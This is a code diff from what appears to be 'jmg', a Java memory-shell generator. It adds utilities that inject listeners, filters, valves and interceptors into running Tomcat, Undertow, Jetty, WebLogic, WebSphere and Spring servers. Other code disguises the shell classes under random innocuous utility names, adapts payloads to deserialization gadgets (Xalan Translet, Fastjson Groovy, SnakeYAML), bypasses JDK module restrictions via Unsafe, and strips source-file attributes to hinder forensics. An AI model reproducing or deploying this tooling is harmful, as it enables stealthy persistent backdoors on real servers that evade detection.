+            Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
+            Object deploymentImpl = getFV(context, "deployment");
+            Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
+            Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
+            Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
+            invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
+        } catch (Throwable e) {
+        }
+    }
+
+    public boolean isInjected(Object context, String className) throws Exception {
+        List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
+        for (int i = 0; i < allListeners.size(); i++) {
+            Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
+            if (listener.getName().contains(className)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java

@@ -0,0 +1,77 @@
+package jmg.core.util;
+
+
+
+import jmg.core.config.Constants;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Random;
+
+
+public class ClassNameUtil {
+    static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
+    static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"};
+
+
+    public static String getRandomName(String[]... arrays) {
+        List<String> classNames = new ArrayList<>();
+        for (String[] array : arrays) {
+            for (String className : array) {
+                classNames.add(className);
+            }
+        }
+        Random random = new Random();
+        int index = random.nextInt(classNames.size());
+        return classNames.get(index);
+    }
+
+
+    public static String generateRandomString() {
+        Random random = new Random();
+        StringBuilder sb = new StringBuilder();
+        int length = random.nextInt(2) + 1; // 生成1-3之间的随机数
+        for (int i = 0; i < length; i++) {
+            char c = (char) (random.nextInt(26) + 'a');
+            sb.append(c);
+        }
+        return sb.toString();
+    }
+
+    public static String getRandomInjectorClassName(){
+
+        return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
+    }
+
+    public static String getRandomExtenderClassName(){
+
+        return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
+    }
+
+    public static String getRandomLoaderClassName(){
+
+        return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
+    }
+
+
+    public static String getClassPrefixName(){
+        return ClassNameUtil.getRandomName(prefixNames);
+    }
+
+    public static String getRandomShellClassName(String shellType) {
+
+        if (shellType.contains(Constants.SHELL_LISTENER)){
+            return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString()  + "Listener";
+        }
+        if (shellType.contains(Constants.SHELL_VALVE)){
+            return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString()  + "Valve";
+        }
+        if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
+            return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString()  + "Interceptor";
+        }
+        if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){
+            return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString()  + "Handler";
+        }
+        return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter";
+    }
+}

jmg-core/src/main/java/jmg/core/util/CommonUtil.java

@@ -0,0 +1,319 @@
+package jmg.core.util;
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.jMGCodeApi;
+import me.gv7.woodpecker.tools.common.FileUtil;
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.nio.charset.StandardCharsets;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.SecureRandom;
+import java.util.Arrays;
+import java.util.Random;
+import java.util.regex.Pattern;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
+
+public class CommonUtil {
+
+    // 合并两个数组
+    public static <T> T[] concatenateArrays(T[] array1, T[] array2) {
+        int length1 = array1.length;
+        int length2 = array2.length;
+
+        T[] result = Arrays.copyOf(array1, length1 + length2);
+
+        System.arraycopy(array2, 0, result, length1, length2);
+
+        return result;
+    }
+
+    public static void setFV(Object var0, String var1, Object val) throws Exception {
+        getF(var0, var1).set(var0, val);
+    }
+
+    public static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+
+    public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+
+
+    public static String generateRandomString() {
+        Random random = new Random();
+        StringBuilder sb = new StringBuilder();
+        int length = random.nextInt(5) + 2;
+        for (int i = 0; i < length; i++) {
+            char c = (char) (random.nextInt(26) + 'a');
+            if (i == 0) {
+                c = Character.toUpperCase(c);
+            }
+            sb.append(c);
+        }
+        return sb.toString();
+    }
+
+    public static byte[] base64Decode(String var0) throws Exception {
+        byte[] var2 = null;
+
+        Class var1;
+        try {
+            var1 = Class.forName("java.util.Base64");
+            Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
+            var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0));
+        } catch (Exception var6) {
+            try {
+                var1 = Class.forName("sun.misc.BASE64Decoder");
+                Object var4 = var1.newInstance();
+                var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0));
+            } catch (Exception var5) {
+            }
+        }
+        return var2;
+    }
+
+
+    public static String encodeBase64(byte[] bs) throws Exception {
+        String value = null;
+        Class base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object Encoder = base64.newInstance();
+                value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
+            } catch (Exception var5) {
+            }
+        }
+        return value;
+    }
+
+
+    public static String genRandomLengthString(int minLength) {
+        Random random = new Random();
+        StringBuilder sb = new StringBuilder();
+        int length = random.nextInt(6) + minLength;
+        for (int i = 0; i < length; i++) {
+            char c = (char) (random.nextInt(26) + 'a');
+            if (i == 0) {
+                c = Character.toUpperCase(c);
+            }
+            sb.append(c);
+        }
+        return sb.toString();
+    }
+
+
+    public static String getRandomString(int length) {
+        String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+        SecureRandom random = new SecureRandom();
+        StringBuffer sb = new StringBuffer();
+        for (int i = 0; i < length; i++) {
+            int number = random.nextInt(52);
+            sb.append(str.charAt(number));
+        }
+        return sb.toString();
+    }
+
+    public static String getMd5(String text) throws NoSuchAlgorithmException {
+        MessageDigest md5 = MessageDigest.getInstance("MD5");
+        byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8));
+        StringBuilder builder = new StringBuilder();
+        for (byte aByte : bytes) {
+            builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6));
+        }
+        return builder.toString();
+    }
+
+    public static byte[] gzipCompress(byte[] data) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
+            gzip.write(data);
+        }
+        return out.toByteArray();
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData);
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+
+        try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) {
+            byte[] buffer = new byte[1024];
+            int bytesRead;
+            while ((bytesRead = gzipInputStream.read(buffer)) != -1) {
+                outputStream.write(buffer, 0, bytesRead);
+            }
+        }
+
+        return outputStream.toByteArray();
+    }
+
+
+    public static byte[] getFileBytes(String file) throws Exception {
+        File f = new File(file);
+        int length = (int) f.length();
+        byte[] data = new byte[length];
+        (new FileInputStream(f)).read(data);
+        return data;
+    }
+
+
+    public static String getSimpleName(String className) {
+        int lastDotIndex = className.lastIndexOf(".");
+        if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
+            return className.substring(lastDotIndex + 1);
+        }
+        return className;
+    }
+
+
+    public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) {
+        String file_output_path = null;
+
+        String fileSeparator = File.separator;
+        File file = new File(output_path);
+        if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) {
+            output_path = file.getParent();
+
+        }
+        String[] parts = output_path.split(Pattern.quote(fileSeparator));
+        boolean isFilePath = false; // 添加标记用于判断是否为文件路径
+        for (String part : parts) {
+            if (part.contains(".")) {
+                isFilePath = true;
+                break;
+            } else {
+                if (!output_path.endsWith(fileSeparator)) {
+                    output_path = output_path + fileSeparator;
+                }
+            }
+        }
+
+        if (isFilePath) { // 如果是文件路径直接返回
+            File parentDir = file.getParentFile();
+            if (!parentDir.exists()) {
+                parentDir.mkdirs();
+            }
+            return file.getAbsolutePath();
+        }
+
+        File dir = new File(output_path);
+        if (!dir.exists() || !dir.isDirectory()) {
+            dir.mkdirs();
+        }
+
+        // 判断输出格式
+        switch (format_type) {
+            case Constants.FORMAT_CLASS:
+                file_output_path = output_path + class_simple_name + ".class";
+                break;
+            case Constants.FORMAT_JAR:
+            case Constants.FORMAT_JAR_AGENT:
+                file_output_path = output_path + class_simple_name + ".jar";
+                break;
+            case Constants.FORMAT_JSP:
+                file_output_path = output_path + class_simple_name + ".jsp";
+                break;
+            default:
+                break;
+        }
+        return file_output_path;
+    }
+
+
+    public static void transformExtenderToFile(AbstractConfig config) throws Throwable {
+        config.setJarClassName(config.getExtenderClassName());
+        config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getExtenderSimpleClassName(), config.getSavePath()));
+        jMGCodeApi codeApi = new jMGCodeApi(config);
+        FileUtil.writeFile(config.getSavePath(), codeApi.generate());
+    }
+
+    public static void transformToFile(AbstractConfig config) throws Throwable {
+        config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
+        jMGCodeApi codeApi = new jMGCodeApi(config);
+        FileUtil.writeFile(config.getSavePath(), codeApi.generate());
+    }
+
+    // base64/bcel/js/biginteger
+    public static String transformTotext(AbstractConfig config) throws Throwable {
+        jMGCodeApi codeApi = new jMGCodeApi(config);
+        return new String(codeApi.generate());
+    }
+
+    public static String getThrowableStackTrace(Throwable t) {
+        StringWriter stringWriter = new StringWriter();
+        PrintWriter printWriter = new PrintWriter(stringWriter);
+        t.printStackTrace(printWriter);
+        return stringWriter.toString();
+    }
+
+}

jmg-core/src/main/java/jmg/core/util/CtClassUtil.java

@@ -0,0 +1,67 @@
+package jmg.core.util;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+
+/**
+ * 专项漏洞的处理
+ */
+public class CtClassUtil {
+    private AbstractConfig config;
+    private ClassPool pool;
+    private CtClass ctClass;
+
+    public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) {
+        this.config = config;
+        this.pool = pool;
+        this.ctClass = ctClass;
+    }
+
+
+    public byte[] modifyForExploitation() throws Exception {
+        if (config.getGadgetType() != null) {
+            if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) {
+                applyJDKAbstractTranslet();
+            }
+            if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) {
+                applyXALANAbstractTranslet();
+            }
+
+            if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) {
+                applyFastjsonGroovyASTTransformation();
+            }
+            if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) {
+                applySnakeYamlScriptEngineFactory();
+            }
+        }
+        return ctClass.toBytecode();
+    }
+
+
+    public void applyJDKAbstractTranslet() throws Exception {
+        JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
+    }
+
+    public void applyXALANAbstractTranslet() {
+        try {
+            JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet");
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    // Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口
+    public void applyFastjsonGroovyASTTransformation() throws Exception {
+        config.setImplementsASTTransformationType(true);
+        JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation");
+        JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation");
+    }
+
+    // snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口
+    public void applySnakeYamlScriptEngineFactory() throws Exception {
+        config.setImplementsScriptEngineFactory(true);
+        JavassistUtil.implementInterface(ctClass, "javax.script.ScriptEngineFactory");
+    }
+}

jmg-core/src/main/java/jmg/core/util/InjectorUtil.java

@@ -0,0 +1,109 @@
+package jmg.core.util;
+
+
+import jmg.core.config.Constants;
+import jmg.core.template.*;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class InjectorUtil {
+
+    private static final Map<String, String> INJECTOR_CLASSNAME_MAP = new HashMap();
+    private static final Map<String, Map<String, String>> classMap = new HashMap();
+
+
+    public InjectorUtil() {
+    }
+
+    public static String getInjectorName(String serverType, String shellType) {
+        Map<String, String> injectorMap = (Map) classMap.get(serverType);
+        return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, "");
+    }
+
+    public static String getInjectorClassName(String injectorName) throws Exception {
+        if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) {
+            throw new Exception("Invalid injector type '" + injectorName + "'");
+        } else {
+            return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, "");
+        }
+    }
+
+    static {
+
+
+        INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName());
+        Map<String, String> glassfishMap = new HashMap();
+        glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector");
+        glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector");
+        classMap.put(Constants.SERVER_GLASSFISH, glassfishMap);
+
+        INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName());
+        Map<String, String> jettyMap = new HashMap();
+        jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector");
+        jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector");
+        classMap.put(Constants.SERVER_JETTY, jettyMap);
+
+
+        INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName());
+        Map<String, String> resinMap = new HashMap();
+        resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector");
+        resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector");
+        classMap.put(Constants.SERVER_RESIN, resinMap);
+
+        INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("TomcatValveInjector",TomcatValveInjectorTpl.class.getName());
+        Map<String, String> tomcatMap = new HashMap();
+        tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
+        tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
+        tomcatMap.put(Constants.SHELL_JAKARTA_LISTENER, "TomcatListenerInjector");
+        tomcatMap.put(Constants.SHELL_JAKARTA_FILTER, "TomcatFilterInjector");
+        tomcatMap.put(Constants.SHELL_VALVE,"TomcatValveInjector");
+        classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
+
+
+        INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName());
+        Map<String, String> undertowMap = new HashMap();
+        undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector");
+        undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector");
+        classMap.put(Constants.SERVER_UNDERTOW, undertowMap);
+
+        INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName());
+        Map<String, String> weblogicMap = new HashMap();
+        weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector");
+        weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector");
+        classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap);
+
+        INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName());
+        Map<String, String> websphereMap = new HashMap();
+        websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector");
+        websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector");
+        classMap.put(Constants.SERVER_WEBSPHERE, websphereMap);
+
+        INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName());
+        INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName());
+        Map<String, String> jbossMap = new HashMap();
+        jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector");
+        jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector");
+        classMap.put(Constants.SERVER_JBOSS, jbossMap);
+
+
+        INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName());
+        Map<String, String> springMVCMap = new HashMap();
+        springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector");
+        classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap);
+
+
+        INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName());
+        Map<String, String> springWebFluxMap = new HashMap();
+        springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector");
+        classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap);
+    }
+}

jmg-core/src/main/java/jmg/core/util/JDKBypassUtil.java

@@ -0,0 +1,23 @@
+package jmg.core.util;
+
+
+// https://github.com/BeichenDream/Kcon2021Code/tree/master/bypassJdk
+public class JDKBypassUtil {
+
+    public static String bypassJDKModuleBody() throws Exception {
+        return "{try {\n" +
+                "            Class unsafeClass = Class.forName(\"sun.misc.Unsafe\");\n" +
+                "            java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
+                "            unsafeField.setAccessible(true);\n" +
+                "            Object unsafe = unsafeField.get(null);\n" +
+                "            java.lang.reflect.Method getModuleM = Class.class.getMethod(\"getModule\", new Class[0]);\n" +
+                "            Object module = getModuleM.invoke(Object.class, (Object[]) null);\n" +
+                "            java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", new Class[]{java.lang.reflect.Field.class});\n" +
+                "            java.lang.reflect.Field moduleF = Class.class.getDeclaredField(\"module\");\n" +
+                "            Object offset = objectFieldOffsetM.invoke(unsafe, new Object[]{moduleF});\n" +
+                "            java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", new Class[]{Object.class, long.class, Object.class});\n" +
+                "            getAndSetObjectM.invoke(unsafe, new Object[]{this.getClass(), offset, module});\n" +
+                "        } catch (Exception ignored) {\n" +
+                "        }}";
+    }
+}

jmg-core/src/main/java/jmg/core/util/JavassistUtil.java

@@ -0,0 +1,167 @@
+package jmg.core.util;
+
+import javassist.*;
+import javassist.bytecode.*;
+import javassist.bytecode.annotation.Annotation;
+
+import java.util.List;
+
+/**
+ * javassist 工具类
+ */
+public class JavassistUtil {
+
+    private static ClassPool pool = ClassPool.getDefault();
+
+    public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
+        ctClass.defrost();
+        try {
+            // 已存在，修改
+            CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
+            ctMethod.setBody(methodBody);
+        } catch (NotFoundException ignored) {
+            // 不存在，直接添加
+            CtMethod method = CtNewMethod.make(methodBody, ctClass);
+            ctClass.addMethod(method);
+        }
+    }
+
+
+    public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
+        ctClass.defrost();
+        try {
+            // 已存在，删除
+            CtField field = ctClass.getDeclaredField(fieldName);
+            ctClass.removeField(field);
+            // ctClass.addField(CtField.make(String.format("private static String %s =  \"%s\";", fieldName, fieldValue), ctClass));
+            try {
+                CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
+                defField.setModifiers(Modifier.PUBLIC);
+                ctClass.addField(defField, "\"" + fieldValue + "\"");
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+
+        } catch (NotFoundException ignored) {
+//            // 不存在，直接添加
+//            ctClass.addField(CtField.make(String.format("private static String %s =  \"%s\";", fieldName, fieldValue), ctClass));
+
+            try {
+                CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
+                defField.setModifiers(Modifier.STATIC);
+                ctClass.addField(defField, "\"" + fieldValue + "\"");
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
+        ctClass.defrost();
+        try {
+            // 已存在，删除
+            CtField field = ctClass.getDeclaredField(fieldName);
+            ctClass.removeField(field);
+            // ctClass.addField(CtField.make(String.format("private static String %s =  \"%s\";", fieldName, fieldValue), ctClass));
+            try {
+                CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
+                defField.setModifiers(Modifier.PUBLIC);
+                defField.setModifiers(Modifier.STATIC);
+                ctClass.addField(defField, "\"" + fieldValue + "\"");
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+
+        } catch (NotFoundException ignored) {
+//            // 不存在，直接添加
+//            ctClass.addField(CtField.make(String.format("private static String %s =  \"%s\";", fieldName, fieldValue), ctClass));
+
+            try {
+                CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
+                defField.setModifiers(Modifier.STATIC);
+                ctClass.addField(defField, "\"" + fieldValue + "\"");
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+
+    public static void extendClass(CtClass ctClass, String superClassName) throws Exception {
+        ctClass.defrost();
+        CtClass interfaceClass = pool.makeClass(superClassName);
+        ctClass.setSuperclass(pool.get(interfaceClass.getName()));
+    }
+
+    public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception {
+        ctClass.defrost();
+
+        CtClass interfaceClass = pool.makeInterface(interfaceClassName);
+        CtClass[] ctClasses = new CtClass[]{interfaceClass};
+        ctClass.setInterfaces(ctClasses);
+    }
+
+
+    public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception {
+        ctClass.defrost();
+        ClassFile classFile = ctClass.getClassFile();
+        ConstPool constPool = classFile.getConstPool();
+        AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
+        Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool);
+        clazzAnnotationsAttribute.setAnnotation(clazzAnnotation);
+        ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute);
+    }
+
+
+    // 删除内存马 SourceFileAttribute (源文件名) 信息
+    public static void removeSourceFileAttribute(CtClass ctClass) {
+        ctClass.defrost();
+        ClassFile classFile = ctClass.getClassFile2();
+
+        try {
+            // javassist.bytecode.ClassFile.removeAttribute  Since: 3.21
